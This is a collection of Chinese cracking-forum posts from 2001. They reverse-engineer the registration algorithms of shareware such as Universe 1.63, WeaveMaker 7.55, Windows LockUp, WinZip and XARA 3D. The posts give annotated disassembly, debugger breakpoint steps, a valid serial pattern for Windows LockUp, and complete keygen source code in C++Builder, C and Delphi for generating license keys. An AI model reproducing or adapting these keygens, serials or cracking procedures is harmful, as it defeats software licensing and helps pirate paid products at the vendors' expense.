0177:0041694A ADD EDX,[EBP-18] <=====与刚才保存的[EBP-18]相加
0177:0041694D MOV [EBP-10],EDX <=====结果送入累加器
0177:00416950 MOV EAX,[EBP-10] <=====累加器送入EAX
0177:00416953 PUSH EAX
0177:00416954 CALL 0042A6C0 <=====保存中间值到[0048E7E8]，此call略
0177:00416959 ADD ESP,BYTE +04

    以上程序完成求形如(X*X+X)的结果，其中X为第一段累加运算的结果。接下来：

0177:0041695C MOV DWORD [EBP-1C],00 <=====指针清0
0177:00416963 JMP SHORT 0041696E
0177:00416965 MOV ECX,[EBP-1C]
0177:00416968 ADD ECX,BYTE +01 <=====指针加1
0177:0041696B MOV [EBP-1C],ECX
0177:0041696E MOV EDX,[EBP-1C]
0177:00416971 CMP EDX,[00497808]　　<=====[00497808]为循环计数器，值为3
0177:00416977 JNL 00416980　　　　　<=====大于或等于时结束运算
0177:00416979 CALL 0042A6E0　　　　　<=====运算的call
0177:0041697E JMP SHORT 00416965
0177:00416980 CALL 0042A6E0　　　　　<=====再运算一次
0177:00416985 MOV [EBP-14],EAX <=====保存结果
0177:00416988 MOV EAX,[EBP-24]
0177:0041698B PUSH EAX
0177:0041698C CALL 0042A6C0
0177:00416991 ADD ESP,BYTE +04
0177:00416994 MOV EAX,[EBP-14]　　　<=====取回结果
0177:00416997 MOV ECX,[EBP-0C]
0177:0041699A MOV `DOSMGR_BackFill_Allowed`,ECX
0177:004169A1 MOV ESP,EBP
0177:004169A3 POP EBP
0177:004169A4 RET
    以上这段完成四次循环运算，结果保存在EAX中。看来还要跟进0177:00416980的CALL 0042A6E0。
跟进后，是这样的程序段：
0177:0042A6E0 MOV EAX,[0048E7E8] <=====取加保存的中间结果
0177:0042A6E5 PUSH DWORD 78B30C40 <=====放一个辅助运算数0x78B30C40
0177:0042A6EA CDQ
0177:0042A6EB PUSH BYTE +00
0177:0042A6ED PUSH DWORD 25A2A40D <=====放另一个辅助运算数0x25A2A40D
0177:0042A6F2 PUSH EDX
0177:0042A6F3 PUSH EAX
0177:0042A6F4 CALL 00441870　　　　 <=====第一次运算
0177:0042A6F9 ADD EAX,BYTE +01　　 <=====运算结果加1
0177:0042A6FC ADC EDX,BYTE +00
0177:0042A6FF PUSH EDX
0177:0042A700 PUSH EAX
0177:0042A701 CALL 0042A760 <=====第二次运算
0177:0042A706 ADD ESP,BYTE +0C
0177:0042A709 MOV [0048E7E8],EAX <=====保存中间结果，下次使用
0177:0042A70E RET

第一次运算的call：
0177:00441870 MOV EAX,[ESP+08]
0177:00441874 MOV ECX,[ESP+10]
0177:00441878 OR ECX,EAX
0177:0044187A MOV ECX,[ESP+0C]　　<=====取辅助运算数0x25A2A40D
0177:0044187E JNZ 00441889
0177:00441880 MOV EAX,[ESP+04]　　<=====取累算的结果
0177:00441884 MUL ECX　　　　　　 <=====两数相乘送入ECX
0177:00441886 RET 10

第二次运算的call：
0177:0042A760 PUSH EBP
0177:0042A761 MOV EBP,ESP
0177:0042A763 PUSH EBX
0177:0042A764 MOV EAX,[EBP+08]　<=====取累算的结果
0177:0042A767 MOV EDX,[EBP+0C]
0177:0042A76A MOV EBX,[EBP+10]　<=====取辅助运算数0x78B30C40
0177:0042A76D DIV EBX　　　　　 <=====相除(商到EAX，余数到EDX)
0177:0042A76F MOV EAX,EDX　　　 <=====只取余数
0177:0042A771 POP EBX
0177:0042A772 POP EBP
0177:0042A773 RET
这段程序主要完成形如 [(X*0x25A2A40D)+1] mod 0x78B30C40　的功能，并且要重复运算4次！
OK，可以整理一下了：
注册算码程序首先取用户名的奇位字符的2倍累加，对结果再进行形如(X*X+X)的运算，然后循环四次，循环中进行形如 [(X*0x25A2A40D)+1] mod 0x78B30C40　的运算，结果为正确的注册码。
    到这里就结束了吗？没有，还有注册机的制作，请看下篇：C++Builder的注册机原码
(中篇完~~~)

标 题:Universe 1.63注册码生成分析及注册机原码（下） (3千字)
发信人:Maomao[CCG]
时 间:2001-11-12 20:52:58
详细信息:

 Universe 1.63注册码生成分析及注册机原码（下）
作者：Maomao[CCG]

下面是我用C++Builder5制作的源程序代码：

#include <vcl.h>
#pragma hdrstop
#include <math.h>

#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Button2Click(TObject *Sender)
{
Close();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Button1Click(TObject *Sender)
{
unsigned __int64 Total=0;

Edit2->Text="";
if(Edit1->Text.IsEmpty())
{
ShowMessage("请输入姓名！");
Edit1->SetFocus();
}
else
{
char* cp = new char[Edit1->Text.Length() + 1];
strcpy( cp, Edit1->Text.c_str());
for(int i=0;i<Edit1->Text.Length();i+=2)  //取奇字符求和
Total+=cp[i];
Total*=2;
                //乘以2
Total=Total*Total+Total;
      //求(x*x)+x
for(int i=0;i<4;i++)
          //循环四次
{
Total=Total*0X25A2A40D+1;　　        　//[(X*0x25A2A40D)+1]
  mod 0x78B30C40
Total=Total%0X78B30C40;
}
Edit2->Text=AnsiString(Total);
}
}

下面是窗体代码，可以不看:)

object Form1: TForm1
Left = 218
Top = 146
BorderIcons = [biSystemMenu, biMinimize]
BorderStyle = bsSingle
Caption = 'Universe1.63 KeyGen By Maomao[CCG]'
ClientHeight = 256
ClientWidth = 348
Color = clBtnFace
Font.Charset = GB2312_CHARSET
Font.Color = clWindowText
Font.Height = -13
Font.Name = '宋体'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object Image1: TImage
Left = 0
Top = 0
Width = 348
Height = 130
Align = alTop
AutoSize = True
Center = True
object Panel1: TPanel
Left = 0
Top = 130
Width = 348
Height = 63
Align = alTop
BevelInner = bvLowered
BevelOuter = bvSpace
Color = clScrollBar
TabOrder = 0
object Label1: TLabel
Left = 3
Top = 11
Width = 59
Height = 13
Caption = '输入姓名:'
end
object Label2: TLabel
Left = 16
Top = 40
Width = 46
Height = 13
Caption = '注册码:'
end
object Edit1: TEdit
Left = 72
Top = 5
Width = 265
Height = 21
TabOrder = 0
end
object Edit2: TEdit
Left = 72
Top = 36
Width = 265
Height = 21
ReadOnly = True
TabOrder = 1
end
end
object Button1: TButton
Left = 59
Top = 204
Width = 75
Height = 25
Caption = '生成注册码'
Default = True
TabOrder = 1
OnClick = Button1Click
end
object Button2: TButton
Left = 203
Top = 204
Width = 75
Height = 25
Caption = '退出'
TabOrder = 2
OnClick = Button2Click
end
object StatusBar1: TStatusBar
Left = 0
Top = 237
Width = 348
Height = 19
Panels = <
item
Text = 'KenGen By Maomao[CCG]'
Width = 200
end
item
Alignment = taRightJustify
Text = '2001.11.11'
Width = 50
end>
SimplePanel = False
end
end
（全文完）
怎么样，看累了吧，休息一会儿~~~~~~


WeaveMaker 7.55

 标 题:WeaveMaker 7.55(7千字)
发信人:leo_cyl1
时 间:2001-11-2 14:02:45
详细信息:
用trw2000装人，先输入Name:abcd,Key:1122334。
ctrl-n进入trw2000，下断点bpx getdlgitemtexta; F5;
然后再输入“4”，将被拦在getdlgitemtexta模块中，按数次F12；来到这里：
=====================================================================
:004C6798 8D852C010000 lea eax, dword ptr [ebp+0000012C] 《==光标在这里
:004C679E 50 push eax
:004C679F 6A06 push 00000006
:004C67A1 E8BAFFFEFF call 004B6760
:004C67A6 83C410 add esp, 00000010
:004C67A9 E99E000000 jmp 004C684C
。
。
。
:004C684C 55 push ebp
:004C684D E84E010000 call 004C69A0 <=========进入
:004C6852 83C404 add esp, 00000004
:004C6855 85C0 test eax, eax
:004C6857 7427 je 004C6880
:004C6859 8B8DEC020000 mov ecx, dword ptr [ebp+000002EC]

======================================================================

:004C69A0 81EC18020000 sub esp, 00000218
:004C69A6 53 push ebx
:004C69A7 55 push ebp
:004C69A8 8BAC2424020000 mov ebp, dword ptr [esp+00000224]
:004C69AF 56 push esi
:004C69B0 57 push edi

* Possible StringData Ref from Data Obj ->"Demo"
|
:004C69B1 BFD0115300 mov edi, 005311D0
:004C69B6 8DB52C010000 lea esi, dword ptr [ebp+0000012C]
:004C69BC 8BC6 mov eax, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004C69E0(C)
|
:004C69BE 8A10 mov dl, byte ptr [eax]
:004C69C0 8A1F mov bl, byte ptr [edi]
:004C69C2 8ACA mov cl, dl
:004C69C4 3AD3 cmp dl, bl
:004C69C6 751E jne 004C69E6
:004C69C8 84C9 test cl, cl
:004C69CA 7416 je 004C69E2
:004C69CC 8A5001 mov dl, byte ptr [eax+01]
:004C69CF 8A5F01 mov bl, byte ptr [edi+01]
:004C69D2 8ACA mov cl, dl
:004C69D4 3AD3 cmp dl, bl
:004C69D6 750E jne 004C69E6
:004C69D8 83C002 add eax, 00000002
:004C69DB 83C702 add edi, 00000002
:004C69DE 84C9 test cl, cl
:004C69E0 75DC jne 004C69BE

以上是合法性检查和判断是否为"Demo" 。F10带过……来到这里：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004C6A6B(U)
|
:004C6AB0 8D4C241C lea ecx, dword ptr [esp+1C]
:004C6AB4 51 push ecx
:004C6AB5 53 push ebx <==注册码
:004C6AB6 E855090000 call 004C7410 <=====注意！！！！
:004C6ABB 8D5528 lea edx, dword ptr [ebp+28]
:004C6ABE 8DB544020000 lea esi, dword ptr [ebp+00000244]
:004C6AC4 52 push edx
:004C6AC5 8D8594020000 lea eax, dword ptr [ebp+00000294]
:004C6ACB 56 push esi
:004C6ACC 8D4D3C lea ecx, dword ptr [ebp+3C]
:004C6ACF 50 push eax
:004C6AD0 8D9424AC000000 lea edx, dword ptr [esp+000000AC]
:004C6AD7 51 push ecx
:004C6AD8 52 push edx
:004C6AD9 E862050000 call 004C7040
:004C6ADE 8B85EC020000 mov eax, dword ptr [ebp+000002EC]
:004C6AE4 83C41C add esp, 0000001C
:004C6AE7 85C0 test eax, eax
:004C6AE9 7410 je 004C6AFB
:004C6AEB 8D4C2424 lea ecx, dword ptr [esp+24]
:004C6AEF 51 push ecx
:004C6AF0 50 push eax
:004C6AF1 E8DA450000 call 004CB0D0
:004C6AF6 83C408 add esp, 00000008
:004C6AF9 EB13 jmp 004C6B0E

============================================================================
:004C6AB6 处将我们输入的注册码转换为数字。并存人[ecx]中。
接下来的代码是将NAME变为以下形式：
22.abcd.Never.22 (其中.代表ascii码0D)
F10带过……来到这里：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004C6AF9(U)
|
:004C6B0E 8D842460010000 lea eax, dword ptr [esp+00000160]
:004C6B15 8D4C2410 lea ecx, dword ptr [esp+10]
:004C6B19 50 push eax
:004C6B1A 8D542424 lea edx, dword ptr [esp+24]
:004C6B1E 51 push ecx
:004C6B1F 52 push edx
:004C6B20 6A00 push 00000000
:004C6B22 8D442434 lea eax, dword ptr [esp+34]
:004C6B26 56 push esi
:004C6B27 8D8C24AC000000 lea ecx, dword ptr [esp+000000AC]
:004C6B2E 50 push eax
:004C6B2F 51 push ecx
:004C6B30 E88B060000 call 004C71C0 <=========产生注册码
:004C6B35 8B44242C mov eax, dword ptr [esp+2C]
:004C6B39 8B4C2438 mov ecx, dword ptr [esp+38]
:004C6B3D 83C41C add esp, 0000001C
:004C6B40 3BC8 cmp ecx, eax <======注册码比较eax为真正的注册码
:004C6B42 8985F0020000 mov dword ptr [ebp+000002F0], eax
:004C6B48 898DF4020000 mov dword ptr [ebp+000002F4], ecx
:004C6B4E 7510 jne 004C6B60
:004C6B50 5F pop edi
:004C6B51 5E pop esi
:004C6B52 5D pop ebp
:004C6B53 B801000000 mov eax, 00000001
:004C6B58 5B pop ebx
:004C6B59 81C418020000 add esp, 00000218
:004C6B5F C3 ret
============================================================================
在:004C6B40 处下命令：? eax 可得到真正的注册码：8b4a8a5f(HEX)即2336918111(DEX).

以下是注册算法：
=============================================================================
:004CBC00 56 push esi
:004CBC01 8B74240C mov esi, dword ptr [esp+0C]
:004CBC05 83C8FF or eax, FFFFFFFF
:004CBC08 85F6 test esi, esi
:004CBC0A 7E24 jle 004CBC30
:004CBC0C 8B4C2408 mov ecx, dword ptr [esp+08]
:004CBC10 57 push edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004CBC2D(C)
|
:004CBC11 33D2 xor edx, edx
:004CBC13 8BF8 mov edi, eax
:004CBC15 8A11 mov dl, byte ptr [ecx] <== [ecx]为用户名:
:004CBC17 81E7FF000000 and edi, 000000FF "22.abcd.Never.22"
:004CBC1D 33D7 xor edx, edi
:004CBC1F C1E808 shr eax, 08
:004CBC22 8B1495D4145300 mov edx, dword ptr [4*edx+005314D4] <==查表
:004CBC29 33C2 xor eax, edx
:004CBC2B 41 inc ecx
:004CBC2C 4E dec esi
:004CBC2D 75E2 jne 004CBC11
:004CBC2F 5F pop edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004CBC0A(C)
|
:004CBC30 F7D0 not eax
:004CBC32 5E pop esi
:004CBC33 C3 ret

标 题:注册机在这里 (1千字)
发信人:leo_cyl1
时 间:2001-11-2 16:58:25
详细信息:

先更正一个笔误：程序将用户名转化为22xxxx.Never.22(其中“.”为ASCII码0x0d，xxxx为用户名）。
在004CBC22 处设断点，中断后，下命令“w 5314D4 l 400 c:\table.bin”dump出它的加密表。（因为我懒得自己输入，呵呵……）
下面代码编译后，将生成的exe文件和table.bin放在同一目录下，即可。

#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <string>

unsigned long Table[256];
char Never[]={0x0d,'N','e','v','e','r',0x0d,'2','2',0};
char Name[255];
char YourName[40];

int main(int argc, char* argv[])
{
unsigned long eax,edi,edx;

FILE *fp;
fp = fopen(".\\table.bin","rb");
if (fp==NULL)
return 0;

fread(Table,sizeof(unsigned long),256,fp);
fclose(fp);

printf("Wrtie By leo_cyl\n");
printf("input your name :");
scanf("%s",YourName);

Name[0]=Name[1]='2';
int len = strlen(YourName);
for (int i=0;i<len;i++)
Name[i+2]=YourName[i];
for(i=0;i<strlen(Never);i++)
Name[len+2+i]=Never[i];

Name[len+2+i]=0;

eax=0xffffffff;
for(i=0;i<strlen(Name);i++) {
edx=0;
edi=eax;
edi=edi&0xff;
edx = (unsigned long)Name[i];
edx=edx^edi;
eax=eax>>8;
edx=Table[edx];
eax=eax^edx;
}
eax=~eax;
printf("Key= %u\n",eax);
return 0;
}


Windows LockUp 1.4

 标 题:申请加入BCG第二篇 (9千字)
发信人:lllufh
时 间:2001-9-16 10:47:41
详细信息:
目标软件 ：★Windows LockUp 1.4

软件简介： Windows LockUp是一个电脑安全防护软件，当你离开电脑时，可以设定密码，防止别人乱动你的电脑。可以设置自动手动启动密码保护，还支持省电功能、密码保护的屏幕程序、网络使用者确认等等。试用者请在序列号输入对对话框不输入就可以了。

下载地址 http://www.softheap.com/download/wlock.zip

目的： 当然是想加入BCG

工具： w32dasm

过程：

终于从失恋的阴影中走出!(太快了吧，一看就知道不是什么好鸟^_^)，找个软件练练手!!!!咦？？Windows Lockup?看起来不错，就你吧!!!(谁让本人心情好呢)

先用TRW2000常规查询法试了试，没啥子头绪，算了，用w32dasm看看有什么突破口吧

用language查看程序，爽!!!没加壳!

动工，动工!

打开w32dasm调进主程序，利用“串式查找”功能找到："Sorry, this registration code "

反复双击，发现只有一处调用!!(不错，两处以上我就不知该怎么办了，^O^)

代码如下：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A8EE3(C)
|
:004A8F0B 8BC6 mov eax, esi
:004A8F0D E8569FF5FF call 00402E68
:004A8F12 DD05B8ED4A00 fld qword ptr [004AEDB8]
:004A8F18 D81DC88F4A00 fcomp dword ptr [004A8FC8]
:004A8F1E DFE0 fstsw ax
:004A8F20 9E sahf
:004A8F21 7456 je 004A8F79

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A8E78 ------这么长一段的比较怀疑和注册码有关!
:004A8F23 8B07 mov eax, dword ptr [edi]
:004A8F25 E80AAFF5FF call 00403E34
:004A8F2A 83F80C cmp eax,0000000C
你输入的注册码的 位数比较小于12则完蛋
:004A8F2D 7C43 jl 004A8F72
:004A8F2F 8B07 mov eax, dword ptr [edi]
:004A8F31 803837 cmp byte ptr [eax],37
和你输入的注册码第一位比较不是7则完蛋
:004A8F34 753C jne 004A8F72
:004A8F36 8B07 mov eax, dword ptr [edi]
:004A8F38 80780130 cmp byte ptr [eax+01], 30
和你输入的注册码第二位比较不是0则完蛋
:004A8F3C 7534 jne 004A8F72
:004A8F3E 8B07 mov eax, dword ptr [edi]
:004A8F40 80780237 cmp byte ptr [eax+02], 37
和你输入的注册码第三位比较不是7则完蛋
:004A8F44 752C jne 004A8F72
:004A8F46 8B07 mov eax, dword ptr [edi]
:004A8F48 80780332 cmp byte ptr [eax+03], 32
和你输入的注册码第四位比较不是2则完蛋
:004A8F4C 7524 jne 004A8F72
:004A8F4E 8B07 mov eax, dword ptr [edi]
:004A8F50 80780431 cmp byte ptr [eax+04], 31
和你输入的注册码第五位比较不是1则完蛋
:004A8F54 751C jne 004A8F72
:004A8F56 8B07 mov eax, dword ptr [edi]
:004A8F58 80780943 cmp byte ptr [eax+09], 43
和你输入的注册码第十位比较不是C则完蛋
:004A8F5C 7514 jne 004A8F72
:004A8F5E 8B07 mov eax, dword ptr [edi]
:004A8F60 80780A57 cmp byte ptr [eax+0A], 57
和你输入的注册码第十一位比较不是W则完蛋
:004A8F64 750C jne 004A8F72
:004A8F66 8B07 mov eax, dword ptr [edi]
:004A8F68 80780B4C cmp byte ptr [eax+0B], 4C
和你输入的注册码第十二位比较不是L则完蛋
:004A8F6C 7504 jne 004A8F72
:004A8F6E B301 mov bl, 01
:004A8F70 EB07 jmp 004A8F79

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A8F2D(C), :004A8F34(C), :004A8F3C(C), :004A8F44(C), :004A8F4C(C)
|:004A8F54(C), :004A8F5C(C), :004A8F64(C), :004A8F6C(C)
|
:004A8F72 8BC7 mov eax, edi
:004A8F74 E83BACF5FF call 00403BB4

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A8F21(C), :004A8F70(U)
|
:004A8F79 33C0 xor eax, eax
:004A8F7B 5A pop edx
:004A8F7C 59 pop ecx
:004A8F7D 59 pop ecx
:004A8F7E 648910 mov dword ptr fs:[eax], edx
:004A8F81 689B8F4A00 push 004A8F9B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A8F99(U)
|
:004A8F86 8D45F4 lea eax, dword ptr [ebp-0C]
:004A8F89 BA02000000 mov edx, 00000002
:004A8F8E E845ACF5FF call 00403BD8
:004A8F93 C3 ret

:004A8F94 E92FA6F5FF jmp 004035C8
:004A8F99 EBEB jmp 004A8F86
:004A8F9B 8BC3 mov eax, ebx
:004A8F9D 5F pop edi
:004A8F9E 5E pop esi
:004A8F9F 5B pop ebx
:004A8FA0 8BE5 mov esp, ebp
:004A8FA2 5D pop ebp
:004A8FA3 C3 ret

:004A8FA4 FFFFFFFF BYTE 4 DUP(0ffh)

:004A8FA8 0200 add al, byte ptr [eax]
:004A8FAA 0000 add byte ptr [eax], al
:004A8FAC 44 inc esp
:004A8FAD 54 push esp
:004A8FAE 0000 add byte ptr [eax], al
:004A8FB0 FFFFFFFF BYTE 4 DUP(0ffh)

:004A8FB4 0100 add dword ptr [eax], eax
:004A8FB6 0000 add byte ptr [eax], al
:004A8FB8 3000 xor byte ptr [eax], al
:004A8FBA 0000 add byte ptr [eax], al
:004A8FBC FFFFFFFF BYTE 4 DUP(0ffh)

:004A8FC0 0100 add dword ptr [eax], eax
:004A8FC2 0000 add byte ptr [eax], al
:004A8FC4 4E dec esi
:004A8FC5 00000000000000 BYTE 7 DUP(0)

:004A8FCC 55 push ebp
:004A8FCD 8BEC mov ebp, esp
:004A8FCF 6A00 push 00000000
:004A8FD1 53 push ebx
:004A8FD2 56 push esi
:004A8FD3 8BF0 mov esi, eax
:004A8FD5 33C0 xor eax, eax
:004A8FD7 55 push ebp
:004A8FD8 68A1904A00 push 004A90A1
:004A8FDD 64FF30 push dword ptr fs:[eax]
:004A8FE0 648920 mov dword ptr fs:[eax], esp
:004A8FE3 33DB xor ebx, ebx
:004A8FE5 B8ACED4A00 mov eax, 004AEDAC
:004A8FEA 8BD6 mov edx, esi
:004A8FEC E817ACF5FF call 00403C08
:004A8FF1 33C0 xor eax, eax
:004A8FF3 E858FEFFFF call 004A8E50
:004A8FF8 84C0 test al, al
:004A8FFA 7477 je 004A9073
:004A8FFC B301 mov bl, 01
:004A8FFE A020D94A00 mov al, byte ptr [004AD920]
:004A9003 50 push eax
:004A9004 8B0DB0ED4A00 mov ecx, dword ptr [004AEDB0]
:004A900A B201 mov dl, 01
:004A900C A1A8CB4900 mov eax, dword ptr [0049CBA8]
:004A9011 E84643FFFF call 0049D35C
:004A9016 8BF0 mov esi, eax
:004A9018 E8570DF6FF call 00409D74
:004A901D 83C4F4 add esp, FFFFFFF4
:004A9020 DB3C24 fstp tbyte ptr [esp]
:004A9023 9B wait
:004A9024 8D45FC lea eax, dword ptr [ebp-04]
:004A9027 E8A807F6FF call 004097D4
:004A902C 8B45FC mov eax, dword ptr [ebp-04]
:004A902F 50 push eax
:004A9030 B9B8904A00 mov ecx, 004A90B8
:004A9035 33D2 xor edx, edx
:004A9037 8BC6 mov eax, esi
:004A9039 E88A47FFFF call 0049D7C8
:004A903E A1ACED4A00 mov eax, dword ptr [004AEDAC]
:004A9043 50 push eax
:004A9044 B9C4904A00 mov ecx, 004A90C4
:004A9049 33D2 xor edx, edx
:004A904B 8BC6 mov eax, esi
:004A904D E87647FFFF call 0049D7C8
:004A9052 8BC6 mov eax, esi
:004A9054 E80F9EF5FF call 00402E68
:004A9059 6A40 push 00000040

* Possible StringData Ref from Code Obj ->"Information"
|
:004A905B B9C8904A00 mov ecx, 004A90C8

* Possible StringData Ref from Code Obj ->"Thank you for support !" 接着向上看
|
:004A9060 BAD4904A00 mov edx, 004A90D4
:004A9065 A134DC4A00 mov eax, dword ptr [004ADC34]
:004A906A 8B00 mov eax, dword ptr [eax]
:004A906C E8B347FAFF call 0044D824
:004A9071 EB18 jmp 004A908B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A8FFA(C)
|
:004A9073 6A10 push 00000010

* Possible StringData Ref from Code Obj ->"Error"
|
:004A9075 B9EC904A00 mov ecx, 004A90EC

* Possible StringData Ref from Code Obj ->"Sorry, this registration code " 向上看
->"is invalid."
|
:004A907A BAF4904A00 mov edx, 004A90F4
:004A907F A134DC4A00 mov eax, dword ptr [004ADC34]
:004A9084 8B00 mov eax, dword ptr [eax]
:004A9086 E89947FAFF call 0044D824

降龙十八掌最后一着:
总结：

序列号：70721****CWL

****这四位随便填

各位老大，我这样应该不算是爆破吧，呵呵！
请各位老大，前辈们指点一下！


Winzip

 标 题:贴上Winzip的注册机（好像老了点），算是初到此处的见面礼吧 (497字)
发信人:Cyu_
时 间:2001-11-17 21:13:01
详细信息:
procedure TForm1.Button1Click(Sender: TObject);
Var i,k,l:integer;
a,b,c:dword;
Begin
k:=0;a:=0;b:=0;c:=0;
for i:=0 to length(names.text)-1 do begin
k:=k+ord(names.text[i+1])*i;
c:=ord(names.text[i+1]) shl 8;
for l:=1 to 8 do begin
b:=a;
b:=b xor c;
if ((b and 65535) and $8000)=0 then a:=a shl 1
else a:=(a*2) xor 4129;
c:=c shl 1;
end;
end;
k:=k and 65535;
a:=(a+99) and 65535;
sn.text:=inttohex(a,4)+inttohex(k,4);
End;


XARA 3D V4.0

 标 题:菜鸟对XARA 3D V4.0的对比和注册码算法的一点心得，请多多指教！！ (8千字)
发信人:turkey99
时 间:2001-12-17 18:00:40
详细信息:
XARA 3D v4.0
虽然网上已有注册机，但本着学习的目的，我还是将它研究了一番，现写出心得如下：
运行xara 3d，发现没有注册有15天限制，且作出来的图的背景上有它的logo，看一下注册方式，只要输入注册码即可，没有用户名什么的，再用fi侦测一下，用aspack 2.1加了壳，脱了它，再运行脱壳后的程序，随便输入几个数字，然后启动trw，下断
bpx hmemcpy ，按f5回到程序，点ok，被trw断下，bd *禁止所有断点，pmodule回到程序的领空，然后小心的按f10，来到如下地方：
:0041F6BA mov eax, dword ptr [esp+00000144] //将注册码送到EAX
:0041F6C1 cmp dword ptr [eax-08], 00000007 //比较注册码的长度是否为7
:0041F6C5 jne 0041F8CA //不对就出错
:0041F6CB movsx edx, byte ptr [eax] //将注册码第一位送到ECX
:0041F6CE push edx
:0041F6CF call 0047C3E8 //比较注册码第1位是否为大写的英文字母
:0041F6D4 add esp, 00000004
:0041F6D7 test eax, eax //检查正确与否的标志
:0041F6D9 je 0041F8CA //不符合条件就出错
:0041F6DF mov eax, dword ptr [esp+00000144] //将注册码送到EAX
:0041F6E6 movsx ecx, byte ptr [eax+01] //将注册码第二位送到ECX
:0041F6EA push ecx
:0041F6EB call 0047C3E8 //比较注册码第2位是否为大写的英文字母
:0041F6F0 add esp, 00000004
:0041F6F3 test eax, eax //检查正确与否的标志
:0041F6F5 je 0041F8CA //不符合条件就出错
:0041F6FB mov edx, dword ptr [esp+00000144]//将注册码送到EAX
:0041F702 movsx eax, byte ptr [edx+02] //将注册码第三位送到ECX
:0041F706 push eax
:0041F707 call 0047C3E8 //比较注册码第3位是否为大写的英文字母
:0041F70C add esp, 00000004
:0041F70F test eax, eax //检查正确与否的标志
:0041F711 je 0041F8CA //不符合条件就出错
:0041F717 mov ecx, dword ptr [esp+00000144]//将注册码送到EAX
:0041F71E movsx edx, byte ptr [ecx+03] //将注册码第四位送到ECX
:0041F722 push edx
:0041F723 call 0047C3E8 //比较注册码第4位是否为大写的英文字母
:0041F728 add esp, 00000004
:0041F72B test eax, eax //检查正确与否的标志
:0041F72D je 0041F8CA //不符合条件就出错
:0041F733 mov eax, dword ptr [esp+00000144]//将注册码送到EAX
:0041F73A movsx ecx, byte ptr [eax+04] //将注册码第五位送到ECX
:0041F73E push ecx
:0041F73F call 0047C3E8 //比较注册码第5位是否为大写的英文字母
:0041F744 add esp, 00000004
:0041F747 test eax, eax //检查正确与否的标志
:0041F749 je 0041F8CA //不符合条件就出错
:0041F74F mov edx, dword ptr [esp+00000144]//将注册码送到EAX
:0041F756 movsx eax, byte ptr [edx+05] //将注册码第六位送到ECX
:0041F75A push eax
:0041F75B call 0047C3E8 //比较注册码第6位是否为大写的英文字母
:0041F760 add esp, 00000004
:0041F763 test eax, eax //检查正确与否的标志
:0041F765 je 0041F8CA //不符合条件就出错
:0041F76B mov ecx, dword ptr [esp+00000144]//将注册码送到EAX
:0041F772 movsx edx, byte ptr [ecx+06] //将注册码第七位送到ECX
:0041F776 push edx
:0041F777 call 0047C3E8 //比较注册码第7位是否为大写的英文字母
:0041F77C add esp, 00000004
:0041F77F test eax, eax //检查正确与否的标志
:0041F781 je 0041F8CA //不符合条件就出错
:0041F787 mov eax, ebp //用EBP的值初始化EAX
:0041F789 mov ecx, ebp //用EBP的值初始化ECX
:0041F78B shr eax, 1 //将EAX的值逻辑右移1次
:0041F78D and eax, 55555555 //将EAX+55555555h,和放到EAX中
:0041F792 and ecx, 55555555 //将ECX+55555555h,和放到ECX中
:0041F798 lea ecx, dword ptr [eax+2*ecx]//将ECX*2再加上EAX，和放到ECX
:0041F79B mov eax, dword ptr [esp+00000144]//将注册码送到EAX
:0041F7A2 imul ecx, 5678DE15 //将ECX*5678DE15h的积放到ECX
:0041F7A8 mov bl, byte ptr [eax+01]//将注册码第二位放入BL中
:0041F7AB mov dl, byte ptr [eax+03]//将注册码第四位放入DL中
:0041F7AE mov byte ptr [esp+32], bl//将BL的值放到ESP+32
:0041F7B2 mov bl, byte ptr [eax]//将注册码第一位放到BL
:0041F7B4 mov byte ptr [esp+30], bl//将BL的值放到ESP＋30
:0041F7B8 mov bl, byte ptr [eax+05]//将注册码第六位放到BL
:0041F7BB mov byte ptr [esp+31], bl//将BL的值放到ESP+31
:0041F7BF mov bl, byte ptr [eax+02]//将注册码第三位放到BL
:0041F7C2 mov byte ptr [esp+33], bl//将BL的值放到ESP+33
:0041F7C6 mov bl, byte ptr [eax+06]//将注册码第七位放到BL
:0041F7C9 movsx eax, byte ptr [eax+04]//将注册码第五位放到EAX
:0041F7CD movsx esi, bl//将BL的值，即注册码第七位放到ESI
:0041F7D0 lea eax, dword ptr [eax+2*eax]//将EAX即注册码第五位乘以3，积放到EAX
:0041F7D3 movsx edx, dl//将DL即注册码第四位放到EDX
:0041F7D6 lea eax, dword ptr [esi+8*eax]//将EAX乘以8，再加上ESI即注册码第七位，和放到EAX
:0041F7D9 movsx esi, byte ptr [esp+33]//将ESP+33即注册码第三位放到ESI
:0041F7DE lea eax, dword ptr [eax+2*eax]//将EAX乘以3的积放到EAX
:0041F7E1 lea eax, dword ptr [esi+8*eax]]//将EAX乘以8，再加上ESI即注册码第三位，和放到EAX
:0041F7E4 movsx esi, byte ptr [esp+31]//将ESP+31即注册码第六位放到ESI
:0041F7E9 lea eax, dword ptr [eax+2*eax]//将EAX乘以3的积放到EAX
:0041F7EC lea eax, dword ptr [esi+8*eax]]//将EAX乘以8，再加上ESI即注册码第六位，和放到EAX
:0041F7EF movsx esi, byte ptr [esp+30]//将ESP+30即注册码第一位放到ESI
:0041F7F4 lea eax, dword ptr [eax+2*eax]//将EAX乘以3的积放到EAX
:0041F7F7 lea eax, dword ptr [esi+8*eax]]//将EAX乘以8，再加上ESI即注册码第一位，和放到EAX
:0041F7FA movsx esi, byte ptr [esp+32]//将ESP+32即注册码第二位放到ESI
:0041F7FF lea eax, dword ptr [eax+2*eax]//将EAX乘以3的积放到EAX
